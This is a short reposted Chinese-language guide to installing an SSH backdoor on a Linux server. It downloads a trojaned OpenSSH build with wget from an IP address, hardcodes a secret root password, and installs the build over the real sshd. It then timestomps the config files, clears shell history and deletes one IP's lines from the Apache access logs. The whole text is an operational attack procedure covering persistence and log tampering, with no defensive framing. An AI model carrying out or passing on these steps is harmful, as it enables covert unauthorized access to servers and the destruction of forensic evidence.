ssh后门安装

转载

1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config
/etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://192.168.1.188/sshbd.tgz
shell-#
tar zxvf sshbd.tgz
shell-# cd openssh

 4、设置ssh后门的登录密码：
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" -->
you've to edit OpenSSH_4.2

vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish
password

5、继续安装：
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-#
make && make install
shell-# cp ssh_config sshd_config
/etc/ssh/
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r
/etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd
restart

6、登入后门：

ssh -l root 192.168.1.188
密码：test123
echo >/root/.bash_history
//清空操作日志

7、清除apache日志：
export HISTFILE=/dev/null
export HISTSIZE=0
cd
/etc/httpd/logs/
sed -i '/210.73.64.100/d' access_log*